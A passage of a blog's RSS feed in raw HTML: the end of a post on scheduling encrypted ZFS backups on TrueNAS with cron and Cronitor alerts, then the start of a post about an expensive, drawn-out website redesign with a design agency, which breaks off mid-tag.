&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>tail -n +1 /mnt/pool1/diary-entries-backup5/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; /mnt/pool1/diary-entries-backup5/2022-07-05.txt &amp;lt;==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>I enjoy Taylor Swift, but I don&amp;#39;t want anyone to know
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; /mnt/pool1/diary-entries-backup5/2022-07-06.txt &amp;lt;==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upon reflection, I&amp;#39;m not ashamed of how much I enjoy Blank Space
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>==&amp;gt; /mnt/pool1/diary-entries-backup5/2022-07-27.txt &amp;lt;==
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>I&amp;#39;ve got a blank space, so I&amp;#39;ll write a new diary entry
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="scheduling-backups">Scheduling backups&lt;/h2>
&lt;p>Now that I have the backups scripted, I can create scheduled jobs to run my backups regularly. Fortunately, this is easy enough to do in the TrueNAS web UI, so I can just create a task from Tasks &amp;gt; Cron Jobs.&lt;/p>
&lt;p>The first cron job is a monthly task for creating full backups:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 962px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/monthly-cron.png">
 &lt;img
 
 sizes="(min-width: 768px) 962px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/monthly-cron_hu_b2c9b2700789fa2c.png 300w, https://mtlynch.io/zfs-encrypted-backups/monthly-cron_hu_bf8e3418f5c20193.png 600w, https://mtlynch.io/zfs-encrypted-backups/monthly-cron_hu_bdd7b7367c8e19f.png 800w, https://mtlynch.io/zfs-encrypted-backups/monthly-cron.png 962w'
 src="https://mtlynch.io/zfs-encrypted-backups/monthly-cron.png" alt="Cron Job in TrueNAS with command &amp;#39;/mnt/pool1/secure-backups/scripts/replicate-full-snapshots.sh&amp;#39; and schedule &amp;#39;0 0 3 * *&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve scheduled it to start at 3 AM on the first of every month because that&amp;rsquo;s when I&amp;rsquo;m most reliably asleep.&lt;/p>
&lt;p>Next, I want a daily task to create incremental backups relative to my monthly snapshot. I&amp;rsquo;ll start that at 4 AM so that the full backups at 3 AM have time to complete before the incremental backup starts:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 962px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/daily-cron.png">
 &lt;img
 
 sizes="(min-width: 768px) 962px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/daily-cron_hu_805acb573e81beb.png 300w, https://mtlynch.io/zfs-encrypted-backups/daily-cron_hu_3ea846c504de7b92.png 600w, https://mtlynch.io/zfs-encrypted-backups/daily-cron_hu_22692a573dac6a8a.png 800w, https://mtlynch.io/zfs-encrypted-backups/daily-cron.png 962w'
 src="https://mtlynch.io/zfs-encrypted-backups/daily-cron.png" alt="Cron Job in TrueNAS with command &amp;#39;/mnt/pool1/secure-backups/scripts/replicate-incremental-snapshots.sh&amp;#39; and schedule &amp;#39;0 0 4 * *&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>To verify that my cron jobs are running successfully, I can check the logs in &lt;code>/var/log/cron&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ tail /var/log/cron
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.757011-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - + &lt;span style="color:#40ffff">OUTPUT_PATH&lt;/span>=/mnt/pool1/secure-backups/incremental-snapshots/videos@2022-07-28T084502-0400
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.757087-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - + [[ -f /mnt/pool1/secure-backups/incremental-snapshots/videos@2022-07-28T084502-0400 ]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.757168-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - + zfs send --raw --verbose -i pool1/videos@2022-07-28T080351-0400 pool1/videos@2022-07-28T084502-0400
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.761156-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - send from pool1/videos@2022-07-28T080351-0400 to pool1/videos@2022-07-28T084502-0400 estimated size is 624B
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.761291-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - total estimated size is &lt;span style="color:#3677a9">624&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.761877-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - + &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;Finished replicating incremental snapshots&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jul &lt;span style="color:#3677a9">28&lt;/span> 05:45:03 truenas &lt;span style="color:#3677a9">1&lt;/span> 2022-07-28T08:45:03.761958-04:00 truenas.local cron &lt;span style="color:#3677a9">302&lt;/span> - - Finished replicating incremental snapshots
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="alerts-for-failed-backup">Alerts for failed backup&lt;/h2>
&lt;p>What happens if my backups start failing two months from now? I&amp;rsquo;m not going to inspect my logs every day to verify my backups are working.&lt;/p>
&lt;p>Fortunately, there are a variety of services that alert you when a scheduled task fails to run. I decided to use &lt;a href="https://cronitor.io/">Cronitor&lt;/a> because it has a generous free tier, and it&amp;rsquo;s easy to set up.&lt;/p>
&lt;p>From Cronitor, I created a new monitor with a &lt;code>0 0 3 * *&lt;/code> schedule that matches the schedule for full backups on my TrueNAS server:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 744px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/cronitor-setup.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 744px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/cronitor-setup_hu_3f28b0ac836fdebb.png 300w, https://mtlynch.io/zfs-encrypted-backups/cronitor-setup_hu_d2db9d608110b95d.png 600w, https://mtlynch.io/zfs-encrypted-backups/cronitor-setup.png 742w'
 src="https://mtlynch.io/zfs-encrypted-backups/cronitor-setup.png" alt="New Cronitor Monitor with name truenas-full-backups and schedule 0 0 3 * *" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Cronitor generates a unique URL for this monitor that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>https://cronitor.link/p/88e0dba70a87424b83c5fd3e9227ac92/1bBG6q
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To make sure that my full backups cron job reports success, I add a &lt;code>curl&lt;/code> command to the cron job that gives the thumbs up to Cronitor when the backup completes successfully:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 960px">



 &lt;a href="https://mtlynch.io/zfs-encrypted-backups/add-cronitor.png">
 &lt;img
 
 sizes="(min-width: 768px) 960px, 98vw"
 srcset='https://mtlynch.io/zfs-encrypted-backups/add-cronitor_hu_e2d45c377aa3885.png 300w, https://mtlynch.io/zfs-encrypted-backups/add-cronitor_hu_ed23fbbbca80c901.png 600w, https://mtlynch.io/zfs-encrypted-backups/add-cronitor_hu_a07546062a83f7d8.png 800w, https://mtlynch.io/zfs-encrypted-backups/add-cronitor.png 960w'
 src="https://mtlynch.io/zfs-encrypted-backups/add-cronitor.png" alt="/mnt/pool1/secure-backups/scripts/replicate-full-snapshots.sh &amp;amp;&amp;amp; curl --silent https://cronitor.link/p/[my telemetry id]?state=complete" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I repeat the same process with my incremental backups job, and that&amp;rsquo;s it!&lt;/p>
&lt;p>I now have a robust system for creating backups of my encrypted ZFS datasets, and I&amp;rsquo;ll receive an alert from Cronitor if the jobs ever fail.&lt;/p>
&lt;h2 id="caveat-back-up-your-encryption-roots">Caveat: Back up your encryption roots&lt;/h2>
&lt;p>Thanks to &lt;strong>@Invisible&lt;/strong> and &lt;strong>@adamkf&lt;/strong> in the comments for pointing out an important gotcha when backing up ZFS to a file instead of another ZFS system.&lt;/p>
&lt;p>Always back up the encryption root for a dataset.&lt;/p>
&lt;p>If you&amp;rsquo;re backing up a dataset that&amp;rsquo;s a child of an encrypted dataset, a &lt;code>zfs send&lt;/code> of the child dataset won&amp;rsquo;t capture all of the data needed to restore the snapshot on a different TrueNAS system, so your backup will be worthless.&lt;/p>
&lt;p>To check the encryption root of a dataset, run &lt;code>zfs get -r encryptionroot pool/dataset&lt;/code>. If the dataset has no parent encryption, you will see output showing the dataset is its own encryption root:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zfs get -r encryptionroot pool1/diary-entries | head -n &lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME PROPERTY VALUE SOURCE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pool1/diary-entries encryptionroot pool1/diary-entries -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the dataset is its own encryption root, you don&amp;rsquo;t need to back up any additional datasets.&lt;/p>
&lt;p>I recommend testing your backups on a separate ZFS system, even a TrueNAS VM, to verify that you can recover from your snapshot files.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>I&amp;rsquo;ve published my convenience scripts on GitHub:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/zfs-encrypted-backup">mtlynch/zfs-encrypted-backup&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/mtlynch-backup">mtlynch/mtlynch-backup&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>I Regret My $46k Website Redesign</title><link>https://mtlynch.io/tinypilot-redesign/</link><pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/tinypilot-redesign/</guid><description>&lt;p>Two years ago, I created a website for my business. By combining my terrible design skills with a decent-looking template, I created a site that looked okay. I told myself that if the business took off, I&amp;rsquo;d hire a real designer to make it look professional.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_7314b9ab67fc7607.png 300w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_ebc5e4368331ddce.png 600w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_e593e9e60d2fed10.png 800w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_d5871c29b4b87f97.png 1200w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png" alt="Screenshot of old landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com">TinyPilot website&lt;/a>, before design changes&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A year later, the business was generating $45k/month in revenue, but my website still looked like a college student&amp;rsquo;s hobby project. It was time for that professional redesign I&amp;rsquo;d promised myself.&lt;/p></description><content:encoded>&lt;p>Two years ago, I created a website for my business. By combining my terrible design skills with a decent-looking template, I created a site that looked okay. I told myself that if the business took off, I&amp;rsquo;d hire a real designer to make it look professional.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_7314b9ab67fc7607.png 300w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_ebc5e4368331ddce.png 600w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_e593e9e60d2fed10.png 800w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped_hu_d5871c29b4b87f97.png 1200w, https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/landing-before-cropped.png" alt="Screenshot of old landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com">TinyPilot website&lt;/a>, before design changes&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A year later, the business was generating $45k/month in revenue, but my website still looked like a college student&amp;rsquo;s hobby project. It was time for that professional redesign I&amp;rsquo;d promised myself.&lt;/p>
&lt;p>There were only three pages I cared about, so I expected the redesign to be straightforward. Maybe a few months and $15k.&lt;/p>
&lt;p>Here&amp;rsquo;s how the site looked after the redesign:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/landing-after-cropped.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/landing-after-cropped_hu_6e73e83eb6aaf7ae.png 300w, https://mtlynch.io/tinypilot-redesign/landing-after-cropped_hu_c534789ad232c961.png 600w, https://mtlynch.io/tinypilot-redesign/landing-after-cropped_hu_e76ee6aca31ac96b.png 800w, https://mtlynch.io/tinypilot-redesign/landing-after-cropped_hu_ca9e79a835dc933a.png 1200w, https://mtlynch.io/tinypilot-redesign/landing-after-cropped.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/landing-after-cropped.png" alt="Screenshot of new landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com">TinyPilot website&lt;/a>, after design changes&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Except it didn&amp;rsquo;t take a few months and $15k. It took eight months, $46k, and a lot of headache.&lt;/p>
&lt;p>Now that the project is over, I&amp;rsquo;m revisiting what mistakes I made that let this project spiral so far out of control.&lt;/p>
&lt;h2 id="i-know-what-youre-thinking">I know what you&amp;rsquo;re thinking&lt;/h2>
&lt;p>If you hear that someone spent $46k to redesign three pages of a website, you probably think they&amp;rsquo;re a rube with no experience in software or hiring.&lt;/p>
&lt;p>But I&amp;rsquo;ve done this before! I&amp;rsquo;m a software developer, and I&amp;rsquo;ve hired dozens of freelancers, including &lt;a href="https://mtlynch.io/freelancer-guidelines/">developers&lt;/a>, &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">artists&lt;/a>, &lt;a href="https://mtlynch.io/hiring-content-writers/">writers&lt;/a>, and &lt;a href="https://mtlynch.io/editor/">editors&lt;/a>.&lt;/p>
&lt;p>I made mistakes on this project, but hopefully they&amp;rsquo;re more interesting than the ones you expect.&lt;/p>
&lt;h2 id="the-initial-estimate-four-weeks-and-7k">The initial estimate: four weeks and $7k&lt;/h2>
&lt;p>I&amp;rsquo;m not trying to bash the agency here, so I&amp;rsquo;ll just call them DesignAgency. They&amp;rsquo;re based in the US, and I found them through a &lt;a href="https://news.ycombinator.com/submitted?id=whoishiring">Hacker News monthly freelancer thread&lt;/a>.&lt;/p>
&lt;p>DesignAgency quoted the highest rate of anyone I interviewed, but their portfolio best matched the style I wanted. They had a wide range of talent in-house, including design, custom illustrations, and 3D imaging.&lt;/p>
&lt;p>Isaac, DesignAgency&amp;rsquo;s CEO, won my confidence during our initial call by suggesting I reduce the project&amp;rsquo;s scope. Even though it meant less money for him, Isaac proposed a rebranding rather than a full-blown redesign. DesignAgency would work on the fundamentals like a new logo, color scheme, and fonts.&lt;/p>
&lt;p>After rebranding, I could measure results to see if it was worth continuing the redesign. If nothing else, a rebrand would give me a solid foundation to create a marketing campaign with digital marketing agencies.&lt;/p>
&lt;p>That sounded smart!&lt;/p>
&lt;p>DesignAgency estimated that the rebrand would require 30-40 billable hours over two to four weeks. Their hourly rate was $175, so we were looking at $5-7k for a new logo and branding. That was half my budget, so it was an easy call.&lt;/p>
&lt;p>Isaac warned that I was smaller than their other clients. Most of their customers had DesignAgency on expensive long-term retainer agreements. This project was so tightly-scoped that we could do it hourly, but there was a possibility that they&amp;rsquo;d have to pause my work occasionally if a retainer client needed more time.&lt;/p>
&lt;p>I didn&amp;rsquo;t mind pausing the project for a week or two if things got busy. I was originally expecting the project to take two or three months, so a few extra weeks was nothing.&lt;/p>
&lt;h2 id="the-honeymoon-period">The honeymoon period&lt;/h2>
&lt;p>The first month of the project was fantastic.&lt;/p>
&lt;p>DesignAgency invited me to meetings every two weeks with their lead designer, a senior designer, a project manager, and Isaac. They&amp;rsquo;d show me samples of the new logos and branding, and I&amp;rsquo;d give feedback. The next round, we&amp;rsquo;d be a little closer.&lt;/p>
&lt;p>Within six weeks, we narrowed in on a concept we all liked.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 















&lt;div class="img" style="max-width: 209px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/logos-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 209px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/logos-1.png 207w'
 src="https://mtlynch.io/tinypilot-redesign/logos-1.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 















&lt;div class="img" style="max-width: 153px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/logos-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 153px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/logos-2.png 151w'
 src="https://mtlynch.io/tinypilot-redesign/logos-2.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 















&lt;div class="img" style="max-width: 154px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/logos-5.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 154px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/logos-5.png 152w'
 src="https://mtlynch.io/tinypilot-redesign/logos-5.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 















&lt;div class="img" style="max-width: 154px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/logos-6.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 154px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/logos-6.png 152w'
 src="https://mtlynch.io/tinypilot-redesign/logos-6.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>From oldest to newest, the progression of TinyPilot logo drafts that DesignAgency showed me in the first few weeks of the project.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="the-first-red-flag-scope-creep">The first red flag: scope creep&lt;/h2>
&lt;p>In our first few meetings, DesignAgency showed me mockups of my site with different color options.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/design-sketches1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/design-sketches1_hu_36260f51c9d38c42.png 300w, https://mtlynch.io/tinypilot-redesign/design-sketches1_hu_54e4de793d2ba1fd.png 600w, https://mtlynch.io/tinypilot-redesign/design-sketches1_hu_65e81d55f4d4d5f8.png 800w, https://mtlynch.io/tinypilot-redesign/design-sketches1_hu_af11cd1a80d1ed03.png 1200w, https://mtlynch.io/tinypilot-redesign/design-sketches1.png 1965w'
 src="https://mtlynch.io/tinypilot-redesign/design-sketches1.png" alt="Basic designs of TinyPilot website with different colors and logos" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>At first, the design agency showed me how different color options would look on different basic website designs.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As the project progressed, the mockups became more elaborate. DesignAgency started showing me custom images and icons for the site.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/design-sketches2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/design-sketches2_hu_4a5ef4e098f42ee7.png 300w, https://mtlynch.io/tinypilot-redesign/design-sketches2_hu_ce968c34154ae03b.png 600w, https://mtlynch.io/tinypilot-redesign/design-sketches2_hu_c8b48dd3a70d18e6.png 800w, https://mtlynch.io/tinypilot-redesign/design-sketches2_hu_189463f328099c95.png 1200w, https://mtlynch.io/tinypilot-redesign/design-sketches2.png 1622w'
 src="https://mtlynch.io/tinypilot-redesign/design-sketches2.png" alt="Basic designs of TinyPilot website with different colors and logos" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The design agency became less interested in branding and started focusing on the overall website design.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We&amp;rsquo;d never discussed custom illustrations, but it seemed like a small amount of work, so I let it go.&lt;/p>
&lt;p>A few weeks later, DesignAgency called a meeting to share updates, but they hadn&amp;rsquo;t made any progress on the logo or branding. Instead, they spent the whole meeting showing me design ideas for the website.&lt;/p>
&lt;p>&amp;ldquo;To be clear, the project is still a rebranding and not a redesign, right?&amp;rdquo; I asked.&lt;/p>
&lt;p>&amp;ldquo;Oh, yes, yes!&amp;rdquo; the lead designer reassured me. &amp;ldquo;Some branding choices wouldn&amp;rsquo;t make sense on top of the old design, so these are just quick sketches of how they could look.&amp;rdquo;&lt;/p>
&lt;h2 id="just-finish-the-logo">Just finish the logo!&lt;/h2>
&lt;p>By December, we were three months into the project. DesignAgency was 95% done with TinyPilot&amp;rsquo;s new logo. All I wanted was to change some rounding on the corners and eliminate the border. I expected it to be a couple of hours of work.&lt;/p>
&lt;p>I was eager to finalize the logo because it would be the project&amp;rsquo;s first complete asset. Once it was ready, I could publish it on the website, integrate it into the product&amp;rsquo;s web interface, and print it on the device&amp;rsquo;s physical case.&lt;/p>
&lt;p>All I needed was a couple more hours of work. But I didn&amp;rsquo;t get them.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/new-logo-places.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/new-logo-places_hu_64baaa6990444691.jpg 300w, https://mtlynch.io/tinypilot-redesign/new-logo-places_hu_f4e8ebc032b51486.jpg 600w, https://mtlynch.io/tinypilot-redesign/new-logo-places_hu_3c65af34e1df39b7.jpg 800w, https://mtlynch.io/tinypilot-redesign/new-logo-places_hu_9c047b2070bc0ea.jpg 1200w, https://mtlynch.io/tinypilot-redesign/new-logo-places.jpg 1331w'
 src="https://mtlynch.io/tinypilot-redesign/new-logo-places.jpg" alt="Photos of TinyPilot website, app interface, and case showing the old logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>All the locations I could place the new TinyPilot logo once DesignAgency delivered the final result.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Instead, DesignAgency kept redesigning the website. Their lead designer didn&amp;rsquo;t have availability to work on the logo, but what did I think about this new design idea for the landing page?&lt;/p>
&lt;p>The breaking point came when DesignAgency started showing me new designs for my site&amp;rsquo;s blog. From the beginning, I had said that I only cared about three pages: the landing page, the product page, and the shopping cart page. All other pages were explicitly out of scope.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/design-non-goals.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/design-non-goals_hu_3d506bc588641ca.png 300w, https://mtlynch.io/tinypilot-redesign/design-non-goals_hu_f7552cfc0314b439.png 600w, https://mtlynch.io/tinypilot-redesign/design-non-goals.png 747w'
 src="https://mtlynch.io/tinypilot-redesign/design-non-goals.png" alt="Non-Goals: Redesign pages outside the checkout flow. The flow I care about is landing page &amp;gt; product page &amp;gt; checkout. We don’t want to completely break pages outside that flow, but we don’t need to improve their design as part of this effort." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Excerpt from &lt;a href="tinypilot-redesign-spec.pdf">project specification&lt;/a> listing the blog as explicitly out of scope.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I pointed this out to DesignAgency, and Isaac called me, embarrassed. He admitted that the designers went beyond mere sketching. They were so excited about the project and got carried away, but he was going to remove the hours they&amp;rsquo;d spent redesigning the blog.&lt;/p>
&lt;h2 id="the-two-month-holiday-slowdown">The two-month holiday slowdown&lt;/h2>
&lt;p>Midway through December, I noticed DesignAgency had stopped making progress on anything.&lt;/p>
&lt;p>They stopped scheduling calls to review work with me, and the comments I left on their designs sat ignored for weeks.&lt;/p>
&lt;p>I chalked it up to the holidays. Lots of people are on vacation in December, so I assumed things would pick back up in the new year.&lt;/p>
&lt;p>The new year started, and not only did the pace stay slow, the quality of the work degraded. The easy, clear communication we had at the start of the project was gone. Now, a minor note about background color required three back-and-forths.&lt;/p>
&lt;h2 id="i-just-dont-know-when-well-have-the-hours">&amp;ldquo;I just don&amp;rsquo;t know when we&amp;rsquo;ll have the hours&amp;rdquo;&lt;/h2>
&lt;p>In early February, I emailed Isaac to ask what was going on. He called and apologized for how the project was going, admitting that internal issues at DesignAgency were affecting my project. Their project manager quit in November, and Isaac was scrambling to fill the role himself while searching for replacements.&lt;/p>
&lt;p>Isaac confirmed that I hadn&amp;rsquo;t imagined the drop in quality. DesignAgency was overloaded with work from their larger clients. Their designers were squeezing me in when they had a spare moment, but they probably weren&amp;rsquo;t as focused as when we started.&lt;/p>
&lt;p>I understood that TinyPilot was a small client to them. I was willing to wait a few weeks until their other work slowed down, but I wanted the remaining 10-20 hours to be high-quality October hours and not the harried, pop-in-whenever hours I saw in December and January.&lt;/p>
&lt;p>&amp;ldquo;We&amp;rsquo;ll definitely finish your project,&amp;rdquo; Isaac said. &amp;ldquo;I just don&amp;rsquo;t know when we&amp;rsquo;ll have the hours.&amp;rdquo; I asked if they&amp;rsquo;d have time within the next two months. He wasn&amp;rsquo;t sure.&lt;/p>
&lt;p>Isaac did, however, have an idea for expediting the project.&lt;/p>
&lt;h2 id="the-solution-is-to-pay-more">The solution is to pay more&lt;/h2>
&lt;p>The real issue, Isaac said, was that I was their only hourly client. I would always be at the mercy of long-term retainer clients pre-empting me. So what if I signed a retainer agreement to guarantee DesignAgency&amp;rsquo;s time? Their retainers started at 40 hours per month for $160/hr.&lt;/p>
&lt;p>I felt duped and manipulated. DesignAgency structured the work so that everything was 80% done, but nothing was usable. If I took the work to a new vendor, there&amp;rsquo;d be a massive amount of rework. And now they were holding the last 20% hostage until I signed an expensive retainer agreement?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help_hu_f503cc5fee2e3252.png 300w, https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help_hu_e0a475c881dc4444.png 600w, https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help_hu_7e0bc892f5c0b181.png 800w, https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help.png 1189w'
